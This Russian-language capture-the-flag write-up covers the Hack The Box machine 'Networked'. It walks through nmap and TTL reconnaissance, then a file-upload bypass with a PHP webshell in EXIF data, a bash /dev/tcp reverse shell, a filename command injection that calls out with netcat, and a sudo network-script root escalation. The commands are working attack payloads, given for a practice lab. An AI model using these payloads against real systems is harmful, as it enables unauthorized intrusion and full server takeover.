Перейти к содержимому

HTB Networked прохождение: анализ TTL и маршрутизации вместо угадывания эксплойтов

HTB Networked прохождение: анализ TTL и маршрутизации вместо угадывания эксплойтов
Время чтения: 11 мин.

Первая ошибка на HTB Networked, которую я видел у десятка новичков — запуск nmap -sV и немедленный переход в Google с запросом «HTB Networked exploit». Nmap показал три строки про порты, а человек уже ищет готовый PoC (Proof of Concept — рабочий пример эксплуатации уязвимости), не разобравшись, что означает закрытый порт 443 рядом с открытым 80 и зачем Apache отдаёт версию PHP в заголовке. Этот Hack The Box Networked writeup построен иначе: сначала разбираем, что нам рассказала сетевая разведка, и только потом переходим к эксплуатации. На реальных пентестах работает именно так — и это критическая разница между «решил машину по writeup» и «понял, как находить уязвимости».

Что Nmap рассказывает о цели до первого эксплойта

Nmap — не просто сканер портов. Его вывод содержит массу информации, которую большинство новичков пролистывает. Разберём, что конкретно он сообщает на машине Networked (IP: 10.10.10.146) и как эти данные определяют дальнейший вектор атаки.

В терминологии MITRE ATT&CK (открытая база тактик и техник атак; T-коды вроде T1595 — её идентификаторы) сканирование портов относится к Active Scanning (T1595, тактика Reconnaissance) и Network Service Discovery (T1046, тактика Discovery). Два отдельных кода — потому что сканирование решает две задачи: обнаружение живых хостов и определение запущенных сервисов.

Состояния портов: open, closed, filtered

Запускаем полное сканирование всех 65535 портов командой nmap -p- --min-rate 10000 -sV -sC 10.10.10.146. Ключ -p- означает «все порты» (по умолчанию Nmap сканирует только топ-1000), --min-rate 10000 ускоряет отправку пакетов, -sV определяет версии сервисов, -sC запускает стандартные скрипты обнаружения. Ожидаемый результат:

PORT    STATE  SERVICE VERSION
22/tcp  open   ssh     OpenSSH 7.4 (protocol 2.0)
80/tcp  open   http    Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
443/tcp closed https
Not shown: 65532 filtered ports

Три порта, три разных состояния. Каждое несёт информацию:

open — сервис слушает и принимает соединения. SSH на 22 и HTTP на 80 — рабочие точки входа.

closed — порт доступен (хост отвечает пакетом RST, явно отказывая в соединении), но сервис не запущен. Порт 443 закрыт: HTTPS-сервер не работает, но файрвол его не блокирует.

filtered — 65532 порта заблокированы файрволом, пакеты просто отбрасываются (drop) без ответа.

Почему это важно? Закрытый 443 рядом с 65532 отфильтрованными — нетипичная картина. Она говорит о конфигурации iptables (файрвол Linux): правила пропускают трафик на 22, 80 и 443, а остальное блокируют. Но на 443 сервис не запущен. Вывод: администратор планировал настроить HTTPS, но не довёл до конца. На реальном пентесте это сигнал копать в конфигурационные ошибки. Security Misconfiguration (OWASP A05:2021 — небезопасные дефолтные или незавершённые конфигурации) здесь проявляется прямо на этапе сканирования.

Определение ОС по TTL и версиям сервисов

Анализ TTL для пентестера — быстрый способ определить операционную систему до запуска специализированных инструментов. TTL (Time to Live) — число в заголовке IP-пакета, которое уменьшается на единицу каждым маршрутизатором на пути от отправителя к получателю. Разные ОС устанавливают начальный TTL по-разному: Linux — 64, Windows — 128, сетевое оборудование Cisco — 255.

Проверка простая: выполни ping -c 1 10.10.10.146 и посмотри значение ttl в ответе. На HTB между тобой и целью обычно 1 хоп (VPN-туннель), поэтому TTL=63 означает начальное значение 64 — Linux. Windows-эксплойты можно не искать.

Nmap даёт ещё точнее. Строка Apache httpd 2.4.6 ((CentOS) PHP/5.4.16) — TCP/IP fingerprinting через баннер сервиса. Apache 2.4.6 и PHP 5.4.16 — дефолтные версии из стандартных репозиториев CentOS 7. Определение ОС по TTL, подтверждённое версиями пакетов, даёт практические выводы:

  • CentOS 7 использует ядро 3.10.x — под него существуют специфичные ядерные эксплойты, но сначала нужен доступ к системе
  • PHP 5.4.16 — крайне устаревшая версия с известными особенностями в обработке загрузки файлов
  • Apache на CentOS 7 по умолчанию обрабатывает PHP через mod_php, а не через php-fpm — это напрямую влияет на то, как интерпретируются файлы с двойным расширением (об этом ниже)

Ты ещё не открыл браузер, но уже знаешь ОС, версию веб-сервера, версию PHP и примерную конфигурацию файрвола. Это и есть разбор маршрутизации CTF на практике — извлечение максимума из сетевого уровня.

Сетевая разведка в CTF: от директорий к исходникам

Traceroute и анализ сети

Прежде чем лезть в веб-приложение, полезно понять сетевую топологию (T1590.004 — Network Topology, тактика Reconnaissance). Запуск nmap --traceroute 10.10.10.146 покажет маршрут до цели. Traceroute анализ сети в HTB обычно тривиален: 1-2 хопа через VPN. Но на Pro Labs и в реальных пентестах это критически важно: несколько хопов — между вами маршрутизатор или pivot-хост; резкое увеличение TTL — NAT или туннель; отсутствие ответа на промежуточном хопе — файрвол блокирует ICMP.

На Networked traceroute показывает прямое соединение. Машина стоит «голой» в VPN-сегменте без дополнительной защиты.

Находка backup.tar и анализ исходного кода

Переходим к веб-сервису на порту 80. Главная страница содержит текст «Hello mate, we’re building the new FaceMash!» и HTML-комментарий <!-- upload and gallery not yet linked --> — подсказку о наличии загрузки и галереи.

Запускаем перебор директорий: gobuster dir -u http://10.10.10.146/ -w /usr/share/wordlists/dirb/common.txt. Gobuster (или dirsearch — дело вкуса) находит /backup, /uploads, /upload.php, /photos.php.

Директория /backup содержит файл backup.tar. Скачиваем (wget http://10.10.10.146/backup/backup.tar) и распаковываем (tar xvf backup.tar). Внутри — полный исходный код: index.php, lib.php, photos.php, upload.php. Классический пример техники Credentials In Files (T1552.001, тактика Credential Access) в расширенном смысле: не пароли, а исходный код, раскрывающий логику приложения. На реальных проектах утечки бэкапов через /backup, /old, /.git — частая находка.

Большинство writeup’ов по HTB Networked перечисляют шаги: «скачал backup.tar, нашёл upload.php, залил шелл». Настоящий навык — чтение кода с пониманием, где именно ломается валидация (T1083 — File and Directory Discovery). Файл upload.php выполняет три проверки перед сохранением загруженного файла: MIME-тип (функция check_file_type() через finfo_file() проверяет magic bytes — первые байты файла должны соответствовать формату изображения), размер (не больше 60 000 байт), расширение (substr_compare проверяет, что имя файла заканчивается на .jpg, .png, .gif или .jpeg).

Сохранённое имя файла формируется функцией getnameUpload() из lib.php — и вот тут ключ ко всему:

function getnameUpload($filename) {
    $pieces = explode('.', $filename);
    $name = array_shift($pieces);
    $ext = implode('.', $pieces);
    return array($name, $ext);
}

Функция разбивает имя файла по точкам, забирает первый элемент как имя, а всё остальное склеивает обратно как расширение. Для файла shell.php.png: $name = "shell", $ext = "php.png". Проверка расширения пройдёт (файл заканчивается на .png), но сохранится он как 10_10_14_7.php.png. Apache с дефолтной конфигурацией mod_php на CentOS 7 видит .php в имени и обрабатывает файл как PHP-скрипт. Задокументированная мисконфигурация Apache: директива AddHandler вместо более строгой SetHandler с FilesMatch приводит к тому, что любой файл с .php в имени исполняется как PHP.

PHP upload уязвимость HTB Networked: обход валидации

Бизнес-логика атаки: загрузка файла с PHP-кодом даёт Remote Code Execution — выполнение произвольных команд на сервере (T1190 — Exploit Public-Facing Application, тактика Initial Access). Злоумышленник получает возможность запускать команды от имени веб-сервера (пользователь apache), а дальше — повышение привилегий до root, кража данных, установка бэкдоров. По данным Mandiant M-Trends 2025, эксплуатация уязвимостей составляет 38% всех первичных векторов атак.

Создание вредоносного файла проходит в два этапа. Сначала берём настоящее PNG-изображение (чтобы пройти проверку magic bytes) и внедряем PHP-код в EXIF-комментарий командой exiftool -Comment='<?php system($_GET["cmd"]); ?>' photo.png. Затем переименовываем для двойного расширения: mv photo.png photo.php.png. На Kali exiftool обычно предустановлен; если нет — apt install libimage-exiftool-perl.

Загружаем файл через форму на http://10.10.10.146/upload.php. После загрузки обращаемся по URL http://10.10.10.146/uploads/10_10_14_7.php.png?cmd=id. Ожидаемый результат — строка uid=48(apache) gid=48(apache) groups=48(apache), подтверждающая выполнение PHP-кода от имени apache.

Для получения реверс-шелла (обратное соединение, где целевая машина подключается к твоей): на своей машине запускаем слушатель nc -lvnp 4444, а через веб-шелл передаём команду bash -i >& /dev/tcp/ТВОЙ_IP/4444 0>&1 (URL-закодировав спецсимволы). В терминале с netcat появится shell от имени apache.

Privilege escalation Networked HTB: два прыжка до root

Command injection через crontab — от apache до guly

Получив shell как apache, ты ещё не можешь прочитать user.txt — файл принадлежит пользователю guly. В директории /home/guly лежат три файла: user.txt, check_attack.php и crontab.guly. Содержимое crontab.guly показывает, что check_attack.php запускается каждые 3 минуты от имени guly.

Скрипт check_attack.php проверяет файлы в /var/www/html/uploads/ и удаляет подозрительные. Критическая строка — exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &"). Переменная $value — имя файла из директории uploads. Функция exec() передаёт строку в системный shell без экранирования. Классическая OS Command Injection (OWASP A03:2021 — Injection): если создать файл с точкой с запятой в имени, всё после неё выполнится как отдельная команда.

cd /var/www/html/uploads
touch '; nc 10.10.14.7 8888 -c bash'

На своей машине слушаем: nc -lvnp 8888. Через 1-3 минуты (интервал crontab) получаем shell от имени guly. Как понять, что сработало: в терминале netcat появится приглашение shell. Если через 4 минуты ничего — проверь командой ls -la /var/www/html/uploads/, что файл создался и имя содержит точку с запятой. Теперь читаем флаг: cat /home/guly/user.txt.

Сетевой скрипт changename.sh — от guly до root

Проверяем sudo-права: sudo -l. Вывод показывает: guly может запускать /usr/local/sbin/changename.sh как root без пароля.

Скрипт changename.sh редактирует конфигурации сетевых интерфейсов в /etc/sysconfig/network-scripts/. Он запрашивает значения параметров (NAME, PROXY_METHOD, BROWSER_ONLY, BOOTPROTO) и записывает их в ifcfg-файл. Уязвимость кроется в том, как CentOS 7 обрабатывает значения в ifcfg-файлах: если в параметре NAME указать значение с пробелом, всё после пробела выполняется как команда.

Запускаем sudo /usr/local/sbin/changename.sh. На любой из запросов вводим: anything /bin/bash. Пробел после anything — разделитель, /bin/bash выполняется с правами root. Результат — root shell. Читаем флаг: cat /root/root.txt.

Обрати внимание: эта уязвимость специфична для CentOS/RHEL 7 (Red Hat Enterprise Linux 7). Версия ОС, которую ты определил на этапе сетевой разведки по TTL и баннерам Apache, напрямую привела к правильному вектору эскалации. Без определения ОС ты бы не знал, что искать.

Делай раз, делай два, делай три

Пошаговый план HTB Networked прохождения для самостоятельной работы. Предпосылки: подключение к HTB VPN через openvpn, Kali Linux или Parrot OS с установленными nmap, gobuster, exiftool и netcat.

Шаг 1: Разведка. Выполни nmap -p- --min-rate 10000 -sV -sC 10.10.10.146. Убедись, что видишь порты 22 (open), 80 (open), 443 (closed) и 65532 filtered. Проверь TTL через ping -c 1 10.10.10.146 — ожидай значение 63 (Linux). Запиши версии: Apache 2.4.6, CentOS 7, PHP 5.4.16.

Шаг 2: Веб-перечисление. Запусти gobuster dir -u http://10.10.10.146/ -w /usr/share/wordlists/dirb/common.txt. Найди директории /backup и /uploads. Скачай backup.tar из /backup/.

Шаг 3: Анализ кода. Распакуй tar xvf backup.tar. Прочитай upload.php и lib.php. Найди функцию getnameUpload() и пойми, как формируется расширение сохранённого файла — это определяет вектор.

Шаг 4: Загрузка веб-шелла. Внедри PHP-код в EXIF-комментарий PNG через exiftool. Переименуй в photo.php.png. Загрузи через форму на upload.php. Открой photos.php, найди URL загруженного файла, добавь ?cmd=id и проверь ответ.

Шаг 5: Реверс-шелл. На своей машине запусти nc -lvnp 4444. Через веб-шелл передай команду обратного подключения. Ожидай shell от apache в терминале netcat.

Шаг 6: Эскалация до guly. Прочитай crontab.guly и check_attack.php в /home/guly. Создай файл с command injection в /var/www/html/uploads/. Слушай на втором порту. Жди до 3 минут.

Шаг 7: Эскалация до root. Выполни sudo -l от имени guly. Запусти sudo /usr/local/sbin/changename.sh и при запросе любого параметра введи a /bin/bash. Получи root shell, прочитай /root/root.txt.

На каждом шаге главное — не действие, а наблюдение. Один факт (CentOS 7) предопределил и вектор upload-эксплуатации (mod_php + двойное расширение), и финальную эскалацию (network-scripts). Компьютерные сети для пентестера — не «факультатив», а основа.

Вся цепочка на этой машине — от определения ОС по TTL до root shell через сетевой скрипт — иллюстрирует одну мысль, которую я отстаиваю после четырёх десятков решённых машин на HTB и TryHackMe: методичный ICMP-анализ пакетов и чтение баннеров важнее каталога эксплойтов. Те, кто начинает с анализа сетевого поведения цели, решают машины быстрее и понимают их глубже. Не потому что searchsploit бесполезен — он необходим. Но без сетевого контекста ты не знаешь, какой эксплойт применять. На Networked TTL=63 сузил поиск до Linux, баннер Apache — до CentOS 7, а закрытый 443 среди filtered — подсказал незавершённую конфигурацию. Три наблюдения из nmap-вывода, которые 90% новичков пролистывают. По IBM X-Force 2025, рост атак с использованием валидных учётных данных составил 71% за год — а всё начинается с правильной разведки. Сетевая разведка в CTF — масштабируемый навык: то, что отрабатывается на Networked, работает на реальном периметре. Если только начинаешь и хочешь не ковыряться в одиночку — на IB Basics берут с любого старта, дают структуру вместо хаоса из YouTube-туториалов.

Эту тему и смежные навыки разбирают на практике в курсе «Компьютерные сети» Codeby Academy.